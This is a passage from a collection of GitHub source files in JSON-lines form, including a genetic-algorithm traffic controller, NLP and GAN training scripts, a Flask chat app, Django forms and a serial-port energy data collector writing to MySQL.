self.possible_solutions[i].solution[0:PARTITION_INDEX] + \\\n self.possible_solutions[i + 1].solution[\n PARTITION_INDEX:self.solution_length]\n new_chain2 = self.possible_solutions[i + 1].solution[0:PARTITION_INDEX] + \\\n self.possible_solutions[i].solution[\n PARTITION_INDEX:self.solution_length]\n new_sol_chain.append(new_chain)\n new_sol_chain.append(new_chain2)\n self.possible_solutions = []\n for c in new_sol_chain:\n sol = Solution(c)\n self.possible_solutions.append(sol)\n\n def mutate(self) -> None:\n \"\"\"\n Creates a mutation by probability to the possible solution\n \"\"\"\n e = 0\n for sol in self.possible_solutions:\n e = random.random()\n if e > 0.7:\n sol.solution[\n random.randrange(self.solution_length)] = random.choice(\n self.action_space)\n\n def failed_fit(self, bar) -> bool:\n \"\"\"\n checks if there are no solutions that pass the minimum criteria to\n be a valid solution\n :return: True or False\n \"\"\"\n for s in self.possible_solutions:\n if s.eval > bar:\n return False\n return True\n\n def best_of(self) -> typing.List:\n \"\"\"\n :return: The best solution out of all possible solution\n \"\"\"\n return (max(self.possible_solutions, key=take_eval)).solution\n\n def pick(self, state) -> typing.List:\n \"\"\"\n picks the best list of actions to commit on the running simulation\n :param state: the current state of the running simulation\n :return:\n \"\"\"\n min_optimal = state.min_optimal_score()\n self.possible_solutions = []\n if state.is_empty() or check_unavoidable(state):\n return [0]\n self.generate_innit_solution()\n self.run_eval(state)\n while self.failed_fit(min_optimal):\n self.cross_over()\n self.mutate()\n self.run_eval(state)\n return self.best_of()\n","repo_name":"yossidoctor/AI-Traffic-Lights-Controller","sub_path":"Search/gentics.py","file_name":"gentics.py","file_ext":"py","file_size_in_byte":5549,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"11128482788","text":"from functools import partial\nfrom logging import getLogger\nfrom multiprocessing import Pool\nfrom typing import Any, Callable, Dict, Optional, Set, Tuple\n\nfrom ordered_set import OrderedSet\nfrom tqdm import tqdm\n\nfrom sentence2pronunciation.core import (get_words_from_sentence, get_words_from_sentences, is_annotation,\n sentence2pronunciation_from_cache,\n symbols_split_iterable,\n word2pronunciation)\nfrom sentence2pronunciation.lookup_cache import (LookupCache,\n pronunciation_upper)\nfrom sentence2pronunciation.types import Pronunciation, Symbol\n\n\ndef return_input_too(inp: Any, method: Callable[[Any], Any]) -> Tuple[Any, Any]:\n return inp, method(inp)\n\n\nprocess_unique_words: Set[Pronunciation] = None\n\n\ndef __init_pool_prepare_cache_mp(words: OrderedSet[Pronunciation]) -> None:\n global process_unique_words\n process_unique_words = words\n\n\ndef __main_prepare_cache_mp(word_index: int, trim_symbols: Set[Symbol], split_on_hyphen: bool, consider_annotation: bool, annotation_split_symbol: Optional[Symbol], get_pronunciation: Callable[[Pronunciation], Pronunciation]) -> None:\n # pylint: disable=global-variable-not-assigned\n global process_unique_words\n word = process_unique_words[word_index]\n pronunciation = word2pronunciation(\n word=word,\n get_pronunciation=get_pronunciation,\n trim_symbols=trim_symbols,\n split_on_hyphen=split_on_hyphen,\n consider_annotation=consider_annotation,\n annotation_split_symbol=annotation_split_symbol,\n )\n return word, pronunciation\n\n\ndef prepare_cache_mp(sentences: Set[Pronunciation], trim_symbols: Set[Symbol], split_on_hyphen: bool, consider_annotation: bool, annotation_split_symbol: Optional[Symbol], get_pronunciation: Callable[[Pronunciation], Pronunciation], ignore_case: bool, n_jobs: int, chunksize: int, maxtasksperchild: Optional[int] = None) -> LookupCache:\n logger = getLogger(__name__)\n\n logger.info(\"Getting all words...\")\n unique_words = get_words_from_sentences(tqdm(sentences))\n logger.info(\"Done.\")\n\n if ignore_case:\n logger.info(\"Ignoring case...\")\n if consider_annotation:\n # Note: annotations will be taken as they are, i.e. no upper case since it is not clear which of the annotation will be taken as value later in the cache (if multiple keys merge to one due to upper case).\n unique_words = OrderedSet({\n word if is_annotation(\n word, annotation_split_symbol) else pronunciation_upper(word)\n for word in tqdm(unique_words)\n })\n else:\n unique_words = OrderedSet({pronunciation_upper(word) for word in tqdm(unique_words)})\n logger.info(\"Done.\")\n\n logger.info(\"Getting pronunciations...\")\n method_proxy = partial(\n __main_prepare_cache_mp,\n get_pronunciation=get_pronunciation,\n trim_symbols=trim_symbols,\n split_on_hyphen=split_on_hyphen,\n consider_annotation=consider_annotation,\n annotation_split_symbol=annotation_split_symbol,\n )\n\n with Pool(\n processes=n_jobs,\n initializer=__init_pool_prepare_cache_mp,\n initargs=(unique_words,),\n maxtasksperchild=maxtasksperchild,\n ) as pool:\n pronunciations_to_words: LookupCache = dict(tqdm(\n pool.imap_unordered(method_proxy, range(len(unique_words)), chunksize=chunksize),\n total=len(unique_words),\n ))\n\n logger.info(\"Done.\")\n\n return pronunciations_to_words\n\n\nprocess_lookup_cache: LookupCache = None\nprocess_sentences: OrderedSet[Pronunciation] = None\n\n\ndef __main_sentences2pronunciations_from_cache_mp(sentence_index: int, ignore_case: bool, consider_annotation: bool, annotation_split_symbol: Optional[Symbol]) -> Tuple[Pronunciation, Pronunciation]:\n # pylint: disable=global-variable-not-assigned\n global process_lookup_cache\n # pylint: disable=global-variable-not-assigned\n global process_sentences\n\n sentence = process_sentences[sentence_index]\n pronunciation = sentence2pronunciation_from_cache(\n sentence=sentence,\n ignore_case=ignore_case,\n cache=process_lookup_cache,\n consider_annotation=consider_annotation,\n annotation_split_symbol=annotation_split_symbol\n )\n return sentence, pronunciation\n\n\ndef __init_pool_sentences2pronunciations_from_cache_mp(cache: LookupCache, sentences: OrderedSet[Pronunciation]) -> None:\n # pylint: disable=global-variable-not-assigned\n global process_lookup_cache\n # pylint: disable=global-variable-not-assigned\n global process_sentences\n\n process_lookup_cache = cache\n process_sentences = sentences\n\n\ndef sentences2pronunciations_from_cache_mp(sentences: Set[Pronunciation], ignore_case: bool, consider_annotation: bool, annotation_split_symbol: Optional[Symbol], cache: LookupCache, n_jobs: int, chunksize: int, maxtasksperchild: Optional[int] = None) -> Dict[Pronunciation, Pronunciation]:\n logger = getLogger(__name__)\n method_proxy = partial(\n __main_sentences2pronunciations_from_cache_mp,\n ignore_case=ignore_case,\n consider_annotation=consider_annotation,\n annotation_split_symbol=annotation_split_symbol\n )\n\n logger.info(\"Preparing sentences...\")\n sentences_with_order = OrderedSet(sentences)\n logger.info(\"Done.\")\n\n logger.info(\"Getting pronunciations from preparation...\")\n with Pool(\n processes=n_jobs,\n initializer=__init_pool_sentences2pronunciations_from_cache_mp,\n initargs=(cache, sentences_with_order,),\n maxtasksperchild=maxtasksperchild,\n ) as pool:\n pronunciations_to_sentences: Dict[Pronunciation, Pronunciation] = dict(tqdm(\n pool.imap_unordered(method_proxy, range(len(sentences_with_order)), chunksize=chunksize),\n total=len(sentences_with_order),\n ))\n logger.info(\"Done.\")\n\n return pronunciations_to_sentences\n","repo_name":"jasminsternkopf/sentence2pronunciation","sub_path":"src/sentence2pronunciation/multiprocessing.py","file_name":"multiprocessing.py","file_ext":"py","file_size_in_byte":5784,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"28039011681","text":"from nltk.corpus import wordnet\nimport numpy as np\nimport pandas as pd\nfrom nltk.tokenize import TweetTokenizer\nfrom nltk.tag import pos_tag\nfrom nltk.stem.porter import *\nfrom nltk.corpus import stopwords\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\n\n\ndef assign_product_to_class(class_descriptions, description_of_product):\n comparison_list = []\n description_of_product = list(set(description_of_product))\n description_of_product = [word for word in description_of_product if word not in stopwords.words('english')]\n for className in class_descriptions.keys():\n comparison_per_class = []\n for word1 in class_descriptions[className]:\n word_from_list1 = wordnet.synsets(word1)\n for word2 in description_of_product:\n word_from_list2 = wordnet.synsets(word2)\n if word_from_list1 and word_from_list2:\n s = word_from_list1[0].wup_similarity(word_from_list2[0])\n comparison_per_class.append(s)\n comparison_per_class = [item for item in comparison_per_class if item != None]\n list_of_similar_values = sorted(comparison_per_class, reverse=True)[:5]\n comparison_list.append([np.mean(list_of_similar_values), className])\n return sorted(comparison_list, reverse=True)\n\nstemmer = PorterStemmer()\ntknzr = TweetTokenizer()\n\nclassDescriptions = {\n \"Camera & Photo\": [\"lens\", \"camera\", \"photo\", \"camcorder\", \"photography\", \"image\", \"film\", \"digital\", \"monitor\", \"record\"],\n \"Bedding & Bath\": [\"bed\", \"bath\", \"sheet\", \"towel\", \"shower\", \"tube\", \"bathroom\", \"bedroom\", \"pillow\", \"mattress\", \"sleep\"],\n \"Exercise & Fitness\": [\"exercise\", \"fitness\", \"sport\", \"games\", \"weight\", \"train\", \"resistance\", \"soccer\", \"tennis\", \"golf\", \"yoga\", \"basketball\", \"fit\"]\n}\nfor i in classDescriptions.keys():\n classDescriptions[i] = [stemmer.stem(word) for word in classDescriptions[i]]\n\n\nfile = pd.read_csv(\"./test_set2.csv\", delimiter=\";\", encoding='latin-1')\n\n\nlist_of_products = list(zip(file[\"Product_id\"].tolist(), file[\"Description\"], file[\"Category\"]))\nlist_of_products_ready = [list(elem) for elem in list_of_products]\n\nreal_label = []\nprediction = []\n\nfor i in range(len(list_of_products_ready)):\n # Tokenize the sentence\n tokenized_words = tknzr.tokenize(list_of_products_ready[i][1])\n list_of_products_ready[i].pop(1)\n # Stem the words\n stemed_words = [stemmer.stem(plural) for plural in tokenized_words]\n # Tag the morphology of the word\n tagged_words = pos_tag(stemed_words)\n # Only select the NN and NNP\n only_nouns = [word for word, pos in tagged_words if pos == 'NN' or pos == 'NNP']\n # Append the resulting words\n list_of_products_ready[i].append(only_nouns)\n\n # Start classification\n similatiry_to_classes = assign_product_to_class(classDescriptions, list_of_products_ready[i][2])\n list_of_products_ready[i].insert(2, similatiry_to_classes[0][1])\n\n real_label.append(list_of_products_ready[i][1])\n prediction.append(list_of_products_ready[i][2])\n print(list_of_products_ready[i])\n\n\nprint(confusion_matrix(real_label, prediction))\n\nprint(classification_report(real_label, prediction, target_names=[\"Exercise & Fitness\", \"Camera & Photo\", \"Bedding & Bath\"]))","repo_name":"martinmaseda/NLP_ProductClassifier","sub_path":"ClassifyProducts.py","file_name":"ClassifyProducts.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32195091364","text":"from _collections import deque\n\n\ndef bfs(h):\n while deq:\n h = deq.popleft()\n s,d = h[0],h[1]\n for n in adj[s]:\n if not visited[n]:\n deq.append((n,d+1))\n visited[n] = True\n return d\n\n\nN = int(input())\nadj = {i:[] for i in range(N+1)}\nwhile 1:\n s,e = map(int,input().split())\n if s == -1 and e == -1:\n break\n adj[s].append(e)\n adj[e].append(s)\narr = []\nmin = 9876543210\nfor i in range(1,N+1):\n deq = deque()\n visited = [0]*(N+1)\n deq.append((i,0))\n visited[i] = True\n grade = bfs(i)\n if grade < min:\n arr = [i]\n cnt = 1\n min = grade\n elif grade == min:\n arr.append(i)\n cnt += 1\nprint(min,cnt)\nif cnt == 1:\n print(arr[0])\nelse:\n arr.sort()\n print(*arr)","repo_name":"psj8532/problem_solving","sub_path":"BOJ/AD대비/회장뽑기.py","file_name":"회장뽑기.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"39042499806","text":"import logging\nfrom colorama import init, Fore, Back, Style\nfrom os.path import abspath\n\nfrom .app_config import \\\n load_config, \\\n get_config_value, \\\n get_self_config_value\n\ninit()\n\nlog = logging.getLogger(__name__)\n\n\nclass ColorLogFormatter(logging.Formatter):\n def __init__(self, log_format):\n \"\"\"\n\n :param log_format: %s-formatted\n \"\"\"\n super().__init__(log_format)\n\n def format(self, record):\n \"\"\"\n Adds color to log output.\n\n :param record: logging record object\n :return: formatted text\n \"\"\"\n sup = super().format(record)\n fore = Fore.RESET\n\n if 0 == record.levelno:\n return sup\n\n if 10 == record.levelno:\n fore = Fore.GREEN\n\n if 20 == record.levelno:\n fore = Fore.CYAN\n\n if 30 == record.levelno:\n fore = Style.BRIGHT + Fore.YELLOW\n\n if 40 == record.levelno:\n fore = Fore.RED\n\n if 50 == record.levelno:\n fore = Back.RED + Fore.BLACK\n # sup = \" *** \" + sup + \" *** \"\n\n return fore + sup + Fore.RESET + Style.RESET_ALL\n\n\nLOG_LEVELS = {\n 'DEBUG': logging.DEBUG,\n 'INFO': logging.INFO,\n 'WARN': logging.WARNING,\n 'ERROR': logging.ERROR,\n 'CRITICAL': logging.CRITICAL\n}\n\n\ndef enable_log(fmt='[%(asctime)s] [%(process)5s] %(levelname)s %(module)s %(name)s %(message)s',\n enable_color=True, filename=None):\n \"\"\"\n Clears all log handlers, and adds color handler and/or file handlers\n\n :param fmt: logging format string\n :param enable_color: True to enable\n :param filename: log file location\n :return: Logger object\n \"\"\"\n\n lgr = logging.getLogger()\n lgr.handlers.clear()\n\n # if there's no special requirements for logging\n # we still want the formatting.\n if not enable_color and \\\n filename is None and \\\n filename != '':\n loghandler = logging.StreamHandler()\n logfmt = logging.Formatter(fmt)\n loghandler.setFormatter(logfmt)\n lgr.addHandler(loghandler)\n return True\n\n if enable_color:\n loghandler = logging.StreamHandler()\n logfmt = ColorLogFormatter(fmt)\n loghandler.setFormatter(logfmt)\n lgr.addHandler(loghandler)\n\n if filename is not None and filename != '':\n logfilename = abspath(filename)\n fhandler = logging.FileHandler(logfilename)\n logfmt = logging.Formatter(fmt)\n fhandler.setFormatter(logfmt)\n lgr.addHandler(fhandler)\n\n return True\n\n\ndef set_loglevel(level_str):\n \"\"\"\n Converts a string into a logging level, and sets it accordingly\n\n :param level_str: 'DEBUG', 'WARN', etc.\n :return: True\n \"\"\"\n lgr = logging.getLogger()\n lgr.setLevel(LOG_LEVELS[level_str])\n return True\n\n","repo_name":"mpaguilar/MyPiEye","sub_path":"MyPiEye/CLI/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"39890917833","text":"import os, flask, flask_socketio, flask_sqlalchemy\nimport models, chat\n\nfrom chat import Chatbot\n\napp = flask.Flask(__name__)\nsocketio = flask_socketio.SocketIO(app)\nusers = 0\n\n@app.route('/')\n\ndef index():\n return flask.render_template('index.html')\n\n@socketio.on('connect')\ndef on_connect():\n query()\n print ('Someone connected!')\n global users\n users += 1\n\n messages = models.Message.query.all()\n chat = [m.text + '\\n' for m in messages]\n # flask_socketio.emit('update', {\n # 'data': 'Got your connection!',\n # 'previous_messages': chat\n # })\n\n@socketio.on('disconnect')\ndef on_disconnect():\n global users\n users -= 1\n print ('Someone disconnected!')\n \n flask_socketio.emit('update', {\n 'data': 'Disconnected'\n })\n\ndef query():\n messages = models.Message.query.all()\n chat = [m.text + '\\n' for m in messages]\n socketio.emit('message received', {\n 'message': chat\n })\n\n#event handler\n@socketio.on('new message')\ndef on_new_message(data):\n print('Data Recieved: ', data)\n new_message = models.Message(data['message'])\n models.db.session.add(new_message)\n models.db.session.commit()\n\n #print(data['message'], 'TEST PLEASE')\n #print(data)\n if data['message'][:2] == '!!':\n \n bot_response = Chatbot()\n response = bot_response.get_response(data['message'])\n\n # socketio.emit('Bot Message', {\n # 'message': response\n # })\n #print(response, 'THIS IS ALSO A TEST TO SEE WHERE DATA IS')\n\n\n # chat_message = data['message'] \n # bot_response = chatbot.Chatbot()\n # print(\"Chatbot message: \" + chat_message)\n # response = bot_response.get_response(chat_message[2:])\n query()\n\n\nif __name__ == '__main__':\n socketio.run(\n app,\n host=os.getenv('IP', '0.0.0.0'),\n port=int(os.getenv('PORT', 8085)),\n debug=True\n )","repo_name":"Mawar2/WebAPI-Chatbot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"35581411314","text":"from django import forms\nfrom django.utils.html import escape\nfrom quill.models import Member, Tag, Thread, Post\n\nclass UpdateInterestsForm(forms.ModelForm):\n class Meta:\n model = Member\n fields = ['interests']\n interests = forms.ModelMultipleChoiceField(\n queryset=Tag.objects.order_by('name'),\n widget=forms.CheckboxSelectMultiple\n )\n\nclass CreateThreadForm(forms.Form):\n title = forms.CharField(max_length=200)\n body = forms.CharField(widget=forms.Textarea(\n attrs={'cols':'80','rows':'10'}\n )\n )\n\n def process(self, user=None):\n cd = self.cleaned_data\n mem = Member.objects.get(user=user)\n t = self.cleaned_data.get('title', '')\n b = self.cleaned_data.get('body', '')\n b = escape(b)\n \n thread = Thread(title=t, creator=mem)\n thread.save()\n Post(creator=mem, thread=thread, body=b).save()\n return thread\n\nclass CreatePostForm(forms.ModelForm):\n class Meta:\n model = Post\n fields = ('body',)\n body = forms.CharField(\n widget=forms.Textarea(\n attrs={'width':'100%'}\n )\n )\n \n def clean(self):\n cd = super(CreatePostForm, self).clean()\n self.cleaned_data['body'] = escape(cd.get('body',''))\n","repo_name":"Elemnir/utktgc","sub_path":"quill/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11111479302","text":"from models import *\nfrom functions import *\nfrom torchsummary import summary\nimport torch.optim as optim\nimport torchvision.utils as vutils\n\n\ndef init_model():\n device = get_device()\n net = DnCNN(17, 1).to(device)\n net.apply(weights_init)\n return net\n\n\ndef train():\n device = get_device()\n net = init_model()\n loss_fn = net.get_lossfn()\n optimizer = optim.SGD(net.parameters(), lr=0.01, momentum=0.9, weight_decay=0.0001)\n\n image_dir = \"BSD\"\n image_size = 512\n num_channels = 1\n batch_size = 1\n dataloader = get_dataloader(image_dir, image_size, num_channels, batch_size)\n\n print(\"Starting Training...\")\n\n img_list = []\n losses = []\n num_cycles = 0 # training cycles (iterations)\n\n num_epochs = 50\n for epoch in range(num_epochs):\n for batch_ndx, data in enumerate(dataloader, 0):\n target_batch, _ = data\n target_batch = target_batch.to(device)\n noisy_batch = corrupt_gaussian(device, target_batch, std=0.005).to(device)\n\n # zero parameter gradients\n optimizer.zero_grad()\n\n residual = net(noisy_batch)\n\n loss = loss_fn(residual, noisy_batch - target_batch)\n loss.backward()\n optimizer.step()\n\n # Output training stats\n print('[%d/%d][%d/%d]\\tLoss: %.4f' % (epoch + 1, num_epochs, batch_ndx + 1, len(dataloader), loss.item()))\n\n losses.append(loss.item())\n\n if (num_cycles % 10 == 0) or (epoch == num_epochs - 1):\n img_list.append(vutils.make_grid(residual, padding=2, normalize=True))\n\n num_cycles += 1\n\n print(\"Finished Training\")\n\n PATH = \"./pre_trained/dncnn512.pth\"\n torch.save(net.state_dict(), PATH)\n\n return losses, img_list\n","repo_name":"Gkao03/pnp-admm","sub_path":"denoise.py","file_name":"denoise.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"22733148267","text":"'''\nWasserstein GANs references:\nhttps://arxiv.org/abs/1701.07875.pdf\nhttps://arxiv.org/pdf/1704.00028.pdf\nhttps://arxiv.org/pdf/1709.08894.pdf\n'''\n\nimport numpy as np\nimport sys\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.distributions.normal import Normal\nfrom optimizers import Lookahead # Local file.\n\nZDIM = 5\n\n'''\nGenerator\n'''\n\nclass Generator(nn.Module):\n\n def __init__(self):\n super().__init__()\n\n # The 'ref' parameter will allow seamless random\n # generation on CUDA. It indirectly stores the\n # shape of 'z' but is never updated during learning.\n self.ref = nn.Parameter(torch.zeros(ZDIM))\n\n self.hidden_layers = nn.Sequential(\n # First hidden layer.\n nn.Linear(ZDIM, 32),\n nn.ReLU(),\n nn.LayerNorm(32),\n\n # Second hidden layer.\n nn.Linear(32, 64),\n nn.ReLU(),\n nn.LayerNorm(64),\n\n # Thid hidden layer.\n nn.Linear(64, 128),\n nn.ReLU(),\n nn.LayerNorm(128),\n )\n\n # The visible layer is a Beta variate.\n self.mu = nn.Linear(128, 135)\n self.sd = nn.Linear(128, 135)\n\n def detfwd(self, z):\n '''Deterministic part of the generator.'''\n # Transform by passing through the layers.\n h = self.hidden_layers(z)\n # Get the Gaussian parameters.\n mu = self.mu(h)\n sd = F.softplus(self.sd(h))\n return mu, sd\n\n def forward(self, nsmpl):\n zero = torch.zeros_like(self.ref) # Proper device.\n one = torch.ones_like(self.ref) # Proper device.\n z = Normal(zero, one).sample([nsmpl])\n a,b = self.detfwd(z)\n return Normal(a,b).rsample()\n\n\n'''\nDiscriminator.\n'''\n\nclass Discriminator(nn.Module):\n\n def __init__(self):\n super().__init__()\n\n self.layers = nn.Sequential(\n # First hidden layer.\n nn.Linear(135, 128),\n nn.ReLU(),\n\n # Second hidden layer.\n nn.Linear(128, 128),\n nn.ReLU(),\n\n # Third hidden layer.\n nn.Linear(128, 64),\n nn.ReLU(),\n\n # Visible layer.\n nn.Linear(64, 1),\n )\n\n def forward(self, x):\n return self.layers(x)\n\n\n'''\nData model.\n'''\n\nclass qPCRData:\n\n def __init__(self, path, randomize=True, test=True):\n def keep(line):\n # Remove negative controls.\n if line.startswith('A1'): return False\n if line.startswith('B1'): return False\n # Remove positive controls.\n if line.startswith('G12'): return False\n if line.startswith('H12'): return False\n return True\n def fmt(line):\n # Raw data (delta Rn).\n raw = [float(x) for x in line.split()[1:]]\n # Take the diff so that numbers are close to 0.\n return [raw[0]] + [raw[i+1]-raw[i] for i in range(len(raw)-1)]\n with open(path) as f:\n self.data = [fmt(line) for line in f if keep(line)]\n # Create train and test data.\n if test:\n if randomize: np.random.shuffle(self.data)\n sztest = len(self.data) // 10 # 10% for the test.\n self.test = self.data[-sztest:]\n self.data = self.data[:-sztest]\n\n def batches(self, test=False, randomize=True, btchsz=32):\n data = self.test if test else self.data\n # Produce batches in index format (i.e. not text).\n idx = np.arange(len(data))\n if randomize: np.random.shuffle(idx)\n # Define a generator for convenience.\n for ix in np.array_split(idx, len(idx) // btchsz):\n yield torch.tensor([data[i] for i in ix])\n\n\nif __name__ == \"__main__\":\n\n if sys.version_info < (3,0):\n sys.stderr.write(\"Requires Python 3\\n\")\n\n genr = Generator()\n disc = Discriminator()\n\n genr.load_state_dict(torch.load('genr-wgangp-1000.tch'))\n disc.load_state_dict(torch.load('disc-wgangp-1000.tch'))\n\n data = qPCRData('qPCR_data.txt', test=False)\n\n # Do it with CUDA if possible.\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n if device == 'cuda':\n genr.cuda()\n disc.cuda()\n \n lr = .0001 # The celebrated learning rate\n # Optimizer of the generator (Adam)\n gbase = torch.optim.Adam(genr.parameters(), lr=lr)\n gopt = Lookahead(base_optimizer=gbase, k=5, alpha=0.8)\n # Optimizer of the discriminator (adam)\n dopt = torch.optim.Adam(disc.parameters(), lr=lr)\n\n for epoch in range(1000):\n\n wdist = 0.\n batch_is_over = False\n batches = data.batches()\n\n while True:\n\n # PHASE I: compute Wasserstein distance.\n for _ in range(5):\n try:\n batch = next(batches)\n except StopIteration:\n batch_is_over = True\n break\n nsmpl = batch.shape[0]\n # Clamp to prevent NaNs in the log-likelihood.\n #real = torch.clamp(batch, min=.01, max=.99).to(device)\n real = batch.to(device)\n with torch.no_grad():\n fake = genr(nsmpl)\n\n np.savetxt(sys.stdout, fake.cpu().numpy(), fmt='%.4f')\n sys.exit()\n\n # Compute gradient penalty.\n t = torch.rand(nsmpl, device=device).view(-1,1)\n x = torch.autograd.Variable(t * real + (1-t) * fake,\n requires_grad=True)\n px = disc(x)\n grad, = torch.autograd.grad(outputs=px, inputs=x,\n grad_outputs=torch.ones_like(px),\n create_graph=True, retain_graph=True)\n pen = 10 * torch.relu(grad.norm(2, dim=1) - 1)**2\n\n # Compute loss and update.\n loss = disc(fake).mean() - disc(real).mean() + pen.mean()\n\n dopt.zero_grad()\n loss.backward()\n dopt.step()\n\n # This is the Wasserstein distance.\n wdist += float(-loss)\n\n # PHASE II: update the generator\n loss = - disc(genr(nsmpl)).mean()\n\n gopt.zero_grad()\n loss.backward()\n gopt.step()\n\n if batch_is_over: break\n\n # Display update at the end of every epoch.\n sys.stderr.write('Epoch %d, wdist: %f\\n' % (epoch+1, wdist))\n\n if (epoch + 1) % 100 == 0:\n # Save the networks.\n torch.save(genr.state_dict(), 'genr-wgangp-%d.tch' % (epoch+1))\n torch.save(disc.state_dict(), 'disc-wgangp-%d.tch' % (epoch+1))\n","repo_name":"gui11aume/misc","sub_path":"wgangp.py","file_name":"wgangp.py","file_ext":"py","file_size_in_byte":6281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25083963471","text":"\nst='abcd'\nnew=''\nfor each in range(len(st)+1):\n new+=st[:each]\nprint (new)\n################\nstr='xaxxaxaxx'\ndef last2(str):\n word=str[(len(str)-2):len(str)]\n count=0\n for i in range(len(str)):\n if str[i:(i+2)] == word:\n count+=1\n return count-1\n\n##############\n\nre=[1,1,1,1,2,3,4,5]\nse=[1,2,3]\ncheck=0\nfor i in range(0,len(re)):\n if re[i:i+3]== [1,2,3]:\n check+=1\nif check==0:\n print (\"False\")\nelse:\n print (\"True\")\n \n###############\n\"\"\" \np=len(a)\nq=len(b)\ncount=0\nfor i in range(max(p,q)-1):\n if a[i:i+2]==b[i:i+2]:\n count+=1\nreturn count\"\"\"\n##############\ndef hello_name(name):\n return 'Hello ' +name+'!'\n\ndef make_abba(a,b):\n return a+b+b+a\n \ndef make_tags(tag,word):\n return '<'+tag+'>'+word+'</'+tag+'>'\n\ndef make_out_word(out,word):\n if len(out)==4:\n front=out[:2]\n back=out[2:]\n return front+word+back\n\ndef extra_end(str):\n return str[(len(str)-2):]*3\n\ndef first_two(str):\n if len(str)>=2:\n return str[:2]\n else:\n return str\n\ndef first_half(str):\n l=len(str)\n if l%2==0:\n return str[:int(l/2)]\n else:\n print (\"The length is not even\")\n \ndef without_end(str):\n return str[1: (len(str)-1)]\n\ndef combo_string(a,b):\n if (len(a)>len(b)):\n long=a\n short=b\n else:\n long=b\n short=a\n return short+long+short\n\ndef non_start(a,b):\n return a[1:]+b[1:]\n\ndef left2(str):\n first2=str[0:2]\n last=str[2:]\n return last+first2","repo_name":"zwala/Pro_Euler","sub_path":"codingBat_warmup2.py","file_name":"codingBat_warmup2.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10575093396","text":"import os\n\nos.chdir('1')\n\ndef star1():\n sums = []\n f = open(\"1.input\", \"r\")\n sum = 0\n for line in f:\n if line.strip() == '':\n sums.append(sum)\n sum = 0\n else:\n sum += int(line.strip())\n\n print(f\"Single max: {max(sums)}\")\n\n sums.sort()\n print(f\"Sorted sums {sums}\")\n top3 = sums[-1] + sums[-2] + sums[-3]\n print(f\"Top 3 summed {top3}\")\n\n\nstar1()\n","repo_name":"omeyn/advent-of-code","sub_path":"2022/1/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5195139121","text":"from django.conf.urls import patterns, url\nfrom registry import views\n\n\nurlpatterns = patterns('',\n\turl(r'^users/$', views.users, name = 'users'),\n url(r'^users/me/$', views.myDetail, name = 'myDetail'),\n url(r'^users/(?P<user_name>\\S+)/$', views.detail, name = 'detail'),\n url(r'^signin/$', views.signin, name = 'signin'),\n url(r'^logout/$', views.logout, name = 'logout'),\n)\n\n","repo_name":"Rfirm/Rpack-registry","sub_path":"registry/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33550154746","text":"# coding: UTF-8\r\n\"\"\"\r\nScript: Data_collector\r\nCréation: jhenriques, le 05/03/2021\r\n\"\"\"\r\n\r\n# Imports\r\nimport serial\r\nfrom xml.etree.cElementTree import fromstring\r\nimport mysql.connector\r\nimport time\r\nimport datetime\r\n\r\n\r\n# Functions\r\n''' ------------------ Function to connect the USB Port ------------------ '''\r\n\r\n\r\ndef connect_usb():\r\n\r\n try:\r\n ser = serial.Serial('/dev/ttyUSB0', 57600)\r\n return ser\r\n except:\r\n print(\"\\nThe system encountered a problem\\n$$ PLEASE Check your wiring system $$\\n\")\r\n return 0\r\n\r\n\r\n''' ---------------- Function that allows to stock the data in a database --------------- '''\r\n\r\n\r\ndef insert_bdd(watts, id_cc):\r\n donner = (watts, id_cc)\r\n cnx = mysql.connector.connect(user='root', password='password', host='localhost', database='sce_private')\r\n cursor = cnx.cursor()\r\n insert_val = (\"\"\"INSERT INTO table_stockage (watts, identification_cc) VALUES (%s, %s)\"\"\")\r\n cursor.execute(insert_val, donner)\r\n cnx.commit()\r\n cursor.close()\r\n cnx.close()\r\n \r\n\r\n\r\n''' ---------------- Function that allows to delete the data in a database --------------- '''\r\n\r\ndef delete_bdd():\r\n while True:\r\n cnx = mysql.connector.connect(user='root', password='password', host='localhost', database='sce_private')\r\n cursor = cnx.cursor()\r\n delete_val = (\"\"\" DELETE FROM `table_stockage` \"\"\")\r\n cursor.execute(delete_val)\r\n cnx.commit()\r\n cursor.close()\r\n cnx.close()\r\n time.sleep(86400)\r\n\r\n\r\n''' ------------------ Function that allows to read the data sent to the USB port ------------------- '''\r\n\r\ndef conso():\r\n ser = connect_usb()\r\n while ser == 0:\r\n ser = connect_usb()\r\n time.sleep(2)\r\n try:\r\n print(\"\\nThe acquisition of data has started \\n$$ DO NOT STOP THIS SCRIPT $$\")\r\n while True:\r\n data = ser.readline()\r\n xml = 